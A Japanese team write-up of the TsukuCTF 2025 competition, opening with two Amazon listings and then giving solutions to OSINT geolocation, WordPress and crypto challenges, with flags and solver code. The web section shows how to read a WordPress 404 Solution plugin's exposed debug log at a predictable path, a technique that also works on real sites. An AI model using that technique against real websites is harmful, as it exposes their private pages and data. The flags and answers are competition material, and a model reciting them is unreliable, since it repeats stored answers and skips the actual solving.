【1m+1m+2m 3本/黒】RAMPOW usb c ケーブル タイプc ケーブル QC3.0対応高速充電 データ転送USB2.0規格 iPhone 16/16e 充電ケーブル/iPhone 15 充電ケーブル Sony Xperia/Samsung/Asus Zenfone/Fujitsu Arrows/PS5コントローラー タイプc多機種対応 在宅勤務支援
¥999 (2025年5月5日 13:15 GMT +09:00 時点 - 詳細はこちら価格および発送可能時期は表示された日付/時刻の時点のものであり、変更される場合があります。本商品の購入においては、購入の時点で当該の Amazon サイトに表示されている価格および発送可能時期の情報が適用されます。)BIGBIG WON BLITZ2 TMR コントローラー 無線/有線接続 TMR ホールジョイスティック 2000Hzポーリングレート 16個のメカニカルスイッチボタン 0.0005秒超低遅延 360°シリコングリップ 1000mAh大容量バッテリー アプリ対応 "モンスターハンターワイルズ"
¥9,440 (2025年5月5日 13:18 GMT +09:00 時点 - 詳細はこちら価格および発送可能時期は表示された日付/時刻の時点のものであり、変更される場合があります。本商品の購入においては、購入の時点で当該の Amazon サイトに表示されている価格および発送可能時期の情報が適用されます。)
TsukuCTF 2025のwriteupです。チームで執筆しました。
開催概要
- 2025/05/03 12:00(JST) ~ 2025/05/04 11:59(JST)
- 「ジャンルは OSINT, Web, Pwn, Crypto などを予定しています」とのこと。前回のTsukuCTFよりOSINT問題の比率が低下していた。
- TsukuCTF 2023 運営参加記で「来年は、OSINTの問題数を減らすことを検討しています。」という記述があり、その通りとなっていた。
成績
40548Fは kn1cht, ryo-a, blackwasan, Diffuseの4名で参戦して22位。
普段はOSINT問を中心としてCTFに取り組んでいるチームで、OSINTは全完できました。他分野についてはChatGPTなどのLLMを活用しつつ取り組みました。
解答できなかった問題も参考のためにそのまま残しておきます。
OSINT問題以外はLLMをフル活用という形になってしまい、writeupとしては薄味になっているかもしれません。
tsukushi
✅welcome (100 pts / 882 solves / easy)
Solved by ryo-a
TsukuCTFの公式Discordの「announcements」チャンネルにフラグが記載されています。
Flag Format:TsukuCTF25{}
Discordに入れていることを確認する問題。
DiscordのFlagを持ってくるだけ。
TsukuCTF25{welcome_to_TsukuCTF_2025!}
OSINT
✅Casca (100 pts/ 336 solves / easy)
Solved by ryo-a
海が綺麗なこの日本の街は、かつてポルトガルのリゾート地との交流がありました。
この写真のすぐ右側にはその記念碑が置かれています。記念碑に書かれている「式典の開催日」を答えてください。
Format:TsukuCTF25{YYYY/MM/DD}
ポルトガル
というワードを添えてGoogle Lensに通すと、以下のページがヒットする。
ジャカランダ遊歩道にあるらしく、画像も掲載されているが、石碑の文字が読めるほどではない。
だが、今回の問題はご丁寧に “記念碑に書かれている「式典の開催日」” と書かれており、式典の情報がわかれば石碑を読む必要がない。
熱海市 カスカイス市 式典
でGoogle検索を行うと以下のページがヒットする。
平成26年6月6日(金)午前11時から熱海市東海岸町のお宮緑地にて「お宮緑地・ジャカランダ遊歩道」の完成式典が開催されました。
平成26年を西暦に変換すれば答え。
TsukuCTF25{2014/06/06}
✅curve (100 pts / 384 solves / easy)
Solved by blackwasan
これは日本の有名な場所の一部です。あなたはこの写真の違和感に気づけますか?
フラグはこの場所のWebサイトのドメインです。
例:TsukuCTF25{example.com}
いわゆるスパイラルエスカレーター。世界中で三菱電機しか製造しておらず、設置施設もかなり少ない。
写真の場所は、横浜ランドマークタワーにあるショッピングモール「ランドマークプラザ」。来訪したことがあれば雰囲気で類推できるかもしれない。
TsukuCTF25{yokohama-landmark.jp}
✅destroyed (100 pts / 204 solves / medium)
Solved by ryo-a
このTelegramの投稿の写真に写っている学校を特定してください。
フラグフォーマットはその場所の座標の小数点第4位を四捨五入して、小数第3位までをTsukuCTF25{緯度_経度}の形式で記載してください。
例:TsukuCTF25{12.345_123.456}
注意: この問題を解く過程で、戦争に関わる直接的な画像が表示される場合があります。23:14 GMT+9 追記: フラグを追加しました
(注: Flag追加前に解答している)
機械翻訳を使いつつウクライナ語を読む。
(翻訳)ステプノコミュニティ体育館にミサイルが命中した結果。第二次世界大戦後、破壊された地域は捕らえられたナチスによって再建され、この戦争後にはロシア人が再建することになる。
翻訳が怪しく、「コミュニティ体育館って何やねん」となり、素直にウクライナ語を雰囲気で読むほうが早い。[гімназію](https://uk.wikipedia.org/wiki/%D0%93%D1%96%D0%BC%D0%BD%D0%B0%D0%B7%D1%96%D1%8F) Степненської громади
が「Stepne”村”のギムナジウム」という意味になるだろうか。
もちろんフロマーダ(громада)を村と訳していいかは疑問だが、小さな行政区画であるのでここではそう捉えることにする。
(追記)そういえば学校の割にшколаという単語が出てこないし、なんか「体育館」では意味が通らないなと思って確認したところ、ギムナジウムであると確認できたので、このwriteupも修正した。(追記ここまで)
さて、件の投稿は2022年12月24日付のウクライナ政府公式のtelegramのものであり、文言を検索するとザポリージャ州政府(Запорізька Обласна Державна Адміністрація)のWebサイトに同一の内容が記載されており、ソースの裏が取れる。
また、同じ画像を引用した報道もいくつか見つかる。
ここで、得られた情報を元にo3に投げたところ、КЗ “Лежинський ліцей”という施設が示され、 47.8064, 35.3584 近辺の建物が示される。これはЛежинська гімназія(レジン・ギムナジウム)という施設らしい。
衛星画像を見る限り、建物としては一致しているような気がする。TsukuCTF25{47.805_35.295}
と放り込んでみるがincorrectになった。
さて、ЗапоріжжяのСтепнеを検索すると、47.796, 35.306らへんであることがGoogle Mapsからわかる。で、ここから当該の建物を探す必要が出てくる。
гімназію Степненської громади
で検索をすると、Stepnoにある学校のサイトがヒットする。学校ということなので、これだろうか。
住所が下部に書いてある。検索してみると、Степненська гімназія(ステプネ・ギムナジウム)を示しているらしい。
с.Степне, вул. Травнева, 52
Запорізького району
Запорізької області
70432, Україна
どうも上手いことGoogle MapsやYandex Mapでは引けなかったのだが、Степне, вул. Травнева, 52
で検索すると education.ua
というサイトに以下のページがヒットする。
ここに地図で表示するリンクがあり、座標が得られる。
学校のような建物が見られる。
TsukuCTF25{47.798_35.305}
……が、23:14 GMT+9にFlagが追加されたのでwriteup執筆時に再度確認してみたところ、レジン・ギムナジウムの方が12月24日に攻撃を受けていたというニュース記事が見つかる。ということで、おそらくTsukuCTF25{47.805_35.295}
が本来の正解だったようだ。先ほどのChatGPTの結果も、このようなニュース記事をクロールしたものから得られたのではなかろうか。
✅rider (100 pts / 215 solves / medium)
Solved by blackwasan (assisted by Diffuse / ryo-a)
遠くまで歩き、夕闇に消える足跡
煌めく街頭が、夜の街を飾る
傍らの道には、バイクの群れが過ぎ去り
風の音だけが残る光と影の中、ふと立ち止まり思う
私は今、どこにいるんだろうフラグフォーマットはこの人が立っている場所の
TsukuCTF25{緯度_経度}
です。ただし、緯度および経度は小数点以下五桁目を切り捨てたものとします。Hint
この詩に意味はありません。
左側通行かつアルファベットの文字が見える。
“KING”をLensに通すと、インドネシアで販売されているタバコが見つかった。
これは”OTi Fried Chicken“および”KUROBA”という店らしい。両者は経営母体が同一であるようだ。
OTi Fried Chickenの店舗数は少ないため、ストリートビューを見ていくと撮影地がヒットする。
TsukuCTF25{-7.3189_110.4970}
✅schnee (100 pts / 301 solves / medium)
Solved by Diffuse
素敵な雪山に辿り着いた!スノーボードをレンタルをして、いざ滑走!
フラグフォーマットは写真の場所の座標の小数点第4位を四捨五入して、小数第3位までをTsukuCTF25{緯度_経度}
の形式で記載してください。
例:TsukuCTF25{12.345_123.456}
側に書いてあるBuri Sportの文字列で検索すると、同じ街に3店舗しかなかった。
TsukuCTF25{46.624_8.040}
✅buildings (100 pts / 253 solves / easy)
Solved by blackwasan
あの建物が建ったら、また空が狭くなるんだろうな。
フラグフォーマットはこの人が立っている場所のTsukuCTF25{緯度_経度}
です。ただし、緯度および経度は小数点以下五桁目を切り捨てたものとします。
Google Lensに通すとロイヤルパークス品川であると判明
撮影位置はこの横断歩道付近
TsukuCTF25{35.6318_139.7429}
✅power (100 pts / 193 solves / medium)
Solved by Diffuse
力を感じてきた。
フラグフォーマットはこの人が立っている場所の
TsukuCTF25{緯度_経度}
です。ただし、緯度および経度は小数点以下五桁目を切り捨てたものとします。
点字のdescriptionの1行目を解読すると「とーきょーと してい きゅーせき まさかどづか」になった。
大手町の将門塚にある案内板であるとわかる。
TsukuCTF25{35.6872_139.7627}
✅hidden_wpath (496 pts / 14 solves / hard)
Solved by kn1cht
新しいブログサイトを作成したので、ぜひ見に来てください!
ちなみに隠されたページがあります😎注意点: ツールの使用は許可されていますが、短期間で大量にリクエストを送信しないでください。隠されたページのリンクは100文字以上あり、かつ推測不可能です。
http://challs.tsukuctf.org:9000
Hint
OSINTだけではなく、Webの知識が必要かもしれません。Hint
特定のページを開くと、フラグが手に入る処理が設定されています。
見るからにWordPressなTsukuTsukuというブログサイトがお題で、秘密のページを見つければflagが得られるとのこと。WordPressということでwp-json, wp-login, wp-adminあたりをチームメイトが確認しており、プラグインまわりで何か攻撃できるのではないかという仮説が立っていた。
なかでも怪しい挙動として、 /wp-admin
にアクセスすると何やらエラーメッセージが表示されるというものがあった。これ自体はWordPress 6.7以降で発生するもののようだが、このエラー自体というより示されているプラグイン名(404 Solution)が注目ポイントのようである。
Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the 404-solution domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /var/www/html/wp-includes/functions.php on line 6121 Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-includes/functions.php:6121) in /var/www/html/wp-includes/pluggable.php on line 1450 Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-includes/functions.php:6121) in /var/www/html/wp-includes/pluggable.php on line 1453
ネット検索していると、404 Solution
404 Solutonの機能は404なときに近いURLのページが存在したらリダイレクトしてくれるというもので、例えば http://challs.tsukuctf.org:9000/sample-pa にアクセスすると http://challs.tsukuctf.org:9000/sample-page/ にリダイレクトされる。このときのレスポンスを見ると、まさに2.33.0が使われていた。
$ curl -v http://challs.tsukuctf.org:9000/sample-pa
X-Redirect-By: 404solution-2.33.0/404-solution.php
2.33.0と2.33.1の差分はGitHubで確認でき、読んでいると2.33.0ではログファイルの名前が abj404_debug.txt
で固定だった(修正後、ランダムなIDが追加されるようになった)ことが分かる。
“abj404_debug.txt” でググるとこの脆弱性の影響を受けているサイトがいくつか引っかかり、pathがどれも wp-content/uploads/temp_abj404_solution/abj404_debug.txt
なのが分かる。Base URLを今回の対象サイトに変えると、TsukuTsukuでもログが読めることが分かる。
(CTF終了時点では abj404_debug.txt_old.txt
に移動してしまっていた)
やたらと長いのだが大半はCTF開催中に追記されたもので、最初の15行くらいで明らかに怪しいURLにアクセスしているログが出ている。そのpathにアクセスしてもよいし、そもそもdocs.google.comに置かれたファイルにリダイレクトされたことまで記録されているので、どちらかを開くとflagがある。
2025-04-30 22:46:45 JST (DEBUG): Processing 404 for URL: /this_is_a_secret_page_Gl4VzyIIKfwPK7xVcjY8RzpgFCOlXKdgmBFLmksxNF2nF3olLNwQLcnYMLGboSG5x4K7BqpdPdXQJBjMjcHmqIG7fTAbMKDn5rdo | Redirect: {"id":"1","url":"\/this_is_a_secret_page_Gl4VzyIIKfwPK7xVcjY8RzpgFCOlXKdgmBFLmksxNF2nF3olLNwQLcnYMLGboSG5x4K7BqpdPdXQJBjMjcHmqIG7fTAbMKDn5rdo","status":"1","type":"4","final_dest":"https:\/\/docs.google.com\/document\/d\/16K84AlbPOBsGpP14qfpOxBQVlc4J5-Aq4QhbVf6OYlg\/edit?usp=sharing","code":"302","disabled":"0","timestamp":"1746017304"} | is_single(): | is_page(): | is_feed(): | is_trackback(): | is_preview(): | options: auto_redirects: 1, auto_score: 90, auto_cats: 1, auto_tags: 1, dest404page: 0|0, HTTP_USER_AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36, REMOTE_ADDR: 126.227.148.50k20f8bjf20, REQUEST_URI: /this_is_a_secret_page_Gl4VzyIIKfwPK7xVcjY8RzpgFCOlXKdgmBFLmksxNF2nF3olLNwQLcnYMLGboSG5x4K7BqpdPdXQJBjMjcHmqIG7fTAbMKDn5rdo
2025-04-30 22:46:45 JST (DEBUG): Logging redirect. Referer: http://challs.tsukuctf.org:9000/wp-admin/options-general.php?page=abj404_solution&subpage=abj404_redirects | Current user: admin | From: /this_is_a_secret_page_Gl4VzyIIKfwPK7xVcjY8RzpgFCOlXKdgmBFLmksxNF2nF3olLNwQLcnYMLGboSG5x4K7BqpdPdXQJBjMjcHmqIG7fTAbMKDn5rdo to: https://docs.google.com/document/d/16K84AlbPOBsGpP14qfpOxBQVlc4J5-Aq4QhbVf6OYlg/edit?usp=sharing, Reason: external, Ignore msg(s): , Execution time: 0 seconds, permalinks found: (not set)
ほめられた
TsukuCTF25{b3_c4r3fu1_w17h_w0rd9r355_91u61n5}
crypto
✅a8tsukuctf (100 pts / 241 solves / easy)
Solved by ryo-a
適当な KEY を作って暗号化したはずが、
tsukuctf
の部分が変わらないなぁ…
添付ファイル: enc.py
import string
plaintext = '[REDACTED]'
key = '[REDACTED]'
assert plaintext[30:38] == 'tsukuctf'
def f(p, k):
p = ord(p) - ord('a')
k = ord(k) - ord('a')
ret = (p + k) % 26
return chr(ord('a') + ret)
def encrypt(plaintext, key):
assert len(key) len(plaintext)
idx = 0
ciphertext = []
cipher_without_symbols = []
for c in plaintext:
if c in string.ascii_lowercase:
if idx len(key):
k = key[idx]
else:
k = cipher_without_symbols[idx-len(key)]
cipher_without_symbols.append(f(c, k))
ciphertext.append(f(c, k))
idx += 1
else:
ciphertext.append(c)
ciphertext = ''.join(c for c in ciphertext)
return ciphertext
ciphertext = encrypt(plaintext=plaintext, key=key)
with open('output.txt', 'w') as f:
f.write(f'{ciphertext=}\n')
添付ファイル: output.txt
ciphertext="ayb wpg uujmz pwom jaaaaaa aa tsukuctf, hj vynj? mml ogyt re ozbiymvrosf bfq nvjwsum mbmm ef ntq gudwy fxdzyqyc, yeh sfypf usyv nl imy kcxbyl ecxvboap, epa 'avb' wxxw unyfnpzklrq."
ヴィジュネル暗号。o3に投げたら方針くらい立つだろうと思ったところ、Flagまで提示されてしまった。何もしていない。
GPT o3の生成結果
- 暗号の正体
f(p,k) = (p + k) mod 26
― 典型的な ヴィジュネル暗号 (Vigenère) の加算方式
key を使い切った後は 「直前の暗号文 (ciphertext) をそのまま鍵ストリームにする」
いわゆる cipher-text autokey cipher(自動鍵式ヴィジュネル)の一種
keystream = key[0 … L-1] + C[0 …] (L = |key|)
- 「tsukuctf が変わらない」⇒ 鍵ストリームが a
暗号文にも tsukuctf がそのまま残っている
→ その 8 文字の区間では
cipher = plain + key (mod 26) かつ cipher = plain
⇒ key = 'a' (=0) × 8
「鍵ストリームが全部 a」になる位置を手掛かりに
C[i] = 't' … 'f' かつ K[i] = 'a'
└─> C[i-L] = 'a' (自動鍵の仕組みより)
を満たす L を探すと 唯一 L = 8。
よって鍵長は 8 文字。
- 復号
鍵そのものは未知でも、
鍵長ささえ分かれば 8 文字目以降 は
K[i] = C[i-8] (i ≥ 8)
P[i] = (C[i] – K[i]) mod 26
だけで復号できる。
??? ??? ??joy this problem or tsukuctf, or both?
the flag is concatenate the seventh word in the first sentence,
the third word in the second sentence, and 'fun' with underscores.
(先頭 8 文字だけ ? になっているのは、鍵が不明なため。)
- フラグ生成指示を読む
指示 | 抜き出した語 | 備考 |
---|---|---|
①seventh word in the first sentence | tsukuctf | 1 st sentence =「??? … both?」 |
②third word in the second sentence | is | 2 nd sentence =「the flag …」 |
③固定文字列 fun | fun | 「’fun’ with underscores」 |
「アンダースコアで連結せよ」なので
TsukuCTF25{tsukuctf_is_fun}
✅PQC0 (100 pts / 149 solves / easy)
Solved by kn1cht
PQC(ポスト量子暗号)を使ってみました!
添付ファイル:prob.py
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from flag import flag
os.system("openssl genpkey -algorithm ML-KEM-768 -out priv-ml-kem-768.pem")
os.system("openssl pkey -in priv-ml-kem-768.pem -pubout -out pub-ml-kem-768.pem")
os.system("openssl pkeyutl -encap -inkey pub-ml-kem-768.pem -secret shared.dat -out ciphertext.dat")
with open("priv-ml-kem-768.pem", "rb") as f:
private_key = f.read()
print("==== private_key ====")
print(private_key.decode())
with open("ciphertext.dat", "rb") as f:
ciphertext = f.read()
print("==== ciphertext(hex) ====")
print(ciphertext.hex())
with open("shared.dat", "rb") as f:
shared_secret = f.read()
encrypted_flag = AES.new(shared_secret, AES.MODE_ECB).encrypt(pad(flag, 16))
print("==== encrypted_flag(hex) ====")
print(encrypted_flag.hex())
PQCはPost-quantum cryptographyの略で、量子コンピュータが発展して既存の暗号が脆弱になっても耐えられると考えられている技術。
prob.pyでは、ML-KEM-768というPQCの一種を利用して秘密鍵、公開鍵、共有シークレットが生成され、最後にflagを共有シークレットによって暗号化している。output.txtはその出力で、親切にも秘密鍵とciphertext.dat(暗号化された共有シークレット)、暗号化されたflagが含まれる。
あとはやる(与えられた情報を使って共有シークレットとflagを復元する)だけだが、PQC標準に対応したツールが必要なので注意。例えば先月リリースされたOpenSSL 3.5.0はML-KEMなどに対応している(ソースからビルドするのに結構時間かかった……)。
また、Python環境にpycryptodomeパッケージも必要。コードはChatGPTに書いてもらった。
decrypt.py
import os
import re
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
with open('output.txt', 'r') as f:
output_content = f.read()
private_key_match = re.search(r'-----BEGIN PRIVATE KEY-----(.*?)-----END PRIVATE KEY-----', output_content, re.DOTALL)
if private_key_match:
private_key = "-----BEGIN PRIVATE KEY-----\n" + private_key_match.group(1).strip() + "\n-----END PRIVATE KEY-----"
with open('priv-ml-kem-768.pem', 'w') as f:
f.write(private_key)
print("saved priv-ml-kem-768.pem")
else:
print("Error: Private key not found in output.txt")
exit()
ciphertext_hex_match = re.search(r'==== ciphertext\(hex\) ====\s*([0-9a-fA-F]+)', output_content)
if ciphertext_hex_match:
ciphertext_hex = ciphertext_hex_match.group(1).strip()
else:
print("Error: Ciphertext (hex) not found in output.txt")
exit()
ciphertext_bytes = bytes.fromhex(ciphertext_hex)
with open('ciphertext.dat', 'wb') as f:
f.write(ciphertext_bytes)
print("saved ciphertext.dat")
os.system("openssl pkeyutl -decap -inkey priv-ml-kem-768.pem -in ciphertext.dat -out recovered_shared_secret.dat")
try:
with open('recovered_shared_secret.dat', 'rb') as f:
shared_secret = f.read()
except FileNotFoundError:
print("Error: recovered_shared_secret.dat not found. openssl command might have failed.")
exit()
encrypted_flag = bytes.fromhex('5f2b9c04a67523dac3e0b0d17f79aa2879f91ad60ba8d822869ece010a7f78f349ab75794ff4cb08819d79c9f44467bd')
try:
cipher = AES.new(shared_secret, AES.MODE_ECB)
decrypted_flag = unpad(cipher.decrypt(encrypted_flag), 16)
print("Decrypted flag:", decrypted_flag.decode())
except ValueError as e:
print(f"Error during decryption: {e}")
print("Check if the shared secret is correct or if the padding is valid.")
TsukuCTF25{W3lc0me_t0_PQC_w0r1d!!!}
🤔PQC1 (490 pts / 21 solves /medium)
今度は秘密鍵を最初の 128 バイトしかあげません!
添付ファイル: prob.py
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from flag import flag
os.system("openssl genpkey -algorithm ML-KEM-768 -out priv-ml-kem-768.pem")
os.system("openssl pkey -in priv-ml-kem-768.pem -pubout -out pub-ml-kem-768.pem")
os.system("openssl pkeyutl -encap -inkey pub-ml-kem-768.pem -secret shared.dat -out ciphertext.dat")
with open("priv-ml-kem-768.pem", "rb") as f:
private_key = f.read()
print("==== private_key[:128] ====")
print(private_key[:128].decode())
with open("ciphertext.dat", "rb") as f:
ciphertext = f.read()
print("==== ciphertext(hex) ====")
print(ciphertext.hex())
with open("shared.dat", "rb") as f:
shared_secret = f.read()
encrypted_flag = AES.new(shared_secret, AES.MODE_ECB).encrypt(pad(flag, 16))
print("==== encrypted_flag(hex) ====")
print(encrypted_flag.hex())
添付ファイル:output.txt
==== private_key[:128] ====
-----BEGIN PRIVATE KEY-----
MIIJvgIBADALBglghkgBZQMEBAIEggmqMIIJpgRAaa2HTyQm2vmmDmw5eheMJp6g
Jm3scrIloNZZF2eKncQZfPyppNNNOwAV3WY
==== ciphertext(hex) ====
73e322ebc019d4c299e4e270b66d27c96e3cef69834d7fde38c6d7d2f3c3cedeb94f3414b4023e65924b498dc5a314c46390270387001282774702af9482220b92560caa7e304fc499257acefafa860bdd0522239ce7df3b0ecf04fa4dca2697788e2f733576fa1015c7927d6f7a765970e97203fd48a17bf56ba86d23e234100f74092b3a2c8c1a88444a5454174b526121bc1dceeea1d8a1fb2e2b5f88ead8ea03af10d95fe34e6277678b6b907007f256bb12614699109139be3d72ce94b143a3f61cc35fee36b70893153e28b21002df4835af9aff43c36b873a430b049db97b75cea1628984e8dc912e511d9a358621e6d0f9762df7301b6e22d9237deedc1a72a0068ae84d9446827daf59e8e8728e0c46d149a2d4c4fdb67bfe8e39d7acbdc384f560f7f2ea253b350e80124098fc923e5bf9fc5d385858f4ecbb46130e55a2ff704b2d7b69e5d9b3f9fd3c0ef5bf9a7e17e095206de6d8254fae8f5cb5ac1f8fef51a23a65a33ca91d027e2977931f6716320a0f6ad6962a162c456ef9482ea6f59bff0ea264efc1072d9edfb6536b2a7aa67cb618512048fff844e6c82d02fc3e3bcd6896e1e35ab8e47e9abf4de6900850fad7732c4f56553698ce7cfdaa01aa1cae2fc88ca0043c94d22a5c42f1893816571e82d6a3b66b8f835f811a085381388cfe5c36428eaae7a4e664bb0c4c00e0387d9e74f5041c37b349c976e169c9703d4d3c6eea3d26cd43eb38e0661cbd8687056820cb320df5421d5268c2e9645f0492033c713256bdd5e79cebd3efab8c859426bb6989c70aa0639d583c370446a1271c32abd9079e0aa88ede2b158261db39ae5d2d189fced9406a9dc5329a8b959bdd4e245ea1f8be2d5516cbd5777b64e09bd69ba07997e1a72fdb03ba2620a1c90d7a654eff545c49a8196e0ab93218d6cfb36b1cd0125900e26dd6688aa400d3d7684182a6011217469795a381b5bb7fbc805b28acd097a149649cb601ed571d529a9a8d45d3ab4d41e3e3d8e136d3b7fb1d571c44b4848e5b56dee14b0f431a5c4f417af6790f3b6df281974c4f9340b90e3f1880ee9c719ea1b7bd12356045f9ce25cbd24769aa1acabfee8d7c8e57f0d876f45ebefa5871bc0c10e0e706a7703ed856f3da904edf3a6d472321844b681d5f0c98a4b0e178eb6096d36ce90334d6df6f4ed877852a6f45ade4eeadf72cccdcf342eccd8d1b2322b83047fd256e7a7152802efc4577e3a90c714a7b2af352efe9111c149c8fbaa71bca6d515ec4e9529b5a55d9309378e0698c7c33e85e3425bfda177ec1aa1d81e402ce54405700dc7df9d4688cfa98e53657f7e4c8db52bec306a7e07b73fc26ce4a48888e65c80a4af8ec8251abbbd5521f0b098e5a8f43112fe9d96feeb51bcbedc19dd38d0f4def5be292411a5668d329bb0b74cc6a8526291421b9490bf29dcdc8f0072c7391434cf30f29c007c38f3ef31ffe774f4d9460bd743e4ce65b0617aa52a30914e733257f4b6a80e1f6aff06c342f8dd30532621db7df
==== encrypted_flag(hex) ====
fd302c76946654e6e469a4656b90a8d60fb3492ed8c2238350e8e833a35b3587
🤔PQC2 (500 pts / 0 solves / hard)
今度は秘密鍵の最初の 294 バイトをもらいます!
添付ファイル:prob.py
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from flag import flag
os.system("openssl genpkey -algorithm ML-KEM-768 -out priv-ml-kem-768.pem")
os.system("openssl pkey -in priv-ml-kem-768.pem -pubout -out pub-ml-kem-768.pem")
os.system("openssl pkeyutl -encap -inkey pub-ml-kem-768.pem -secret shared.dat -out ciphertext.dat")
with open("priv-ml-kem-768.pem", "rb") as f:
private_key = f.read()
print("==== private_key[294:] ====")
print(private_key[294:].decode())
with open("ciphertext.dat", "rb") as f:
ciphertext = f.read()
print("==== ciphertext(hex) ====")
print(ciphertext.hex())
with open("shared.dat", "rb") as f:
shared_secret = f.read()
encrypted_flag = AES.new(shared_secret, AES.MODE_ECB).encrypt(pad(flag, 16))
print("==== encrypted_flag(hex) ====")
print(encrypted_flag.hex())
添付ファイル:output.txt
==== private_key[294:] ====
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
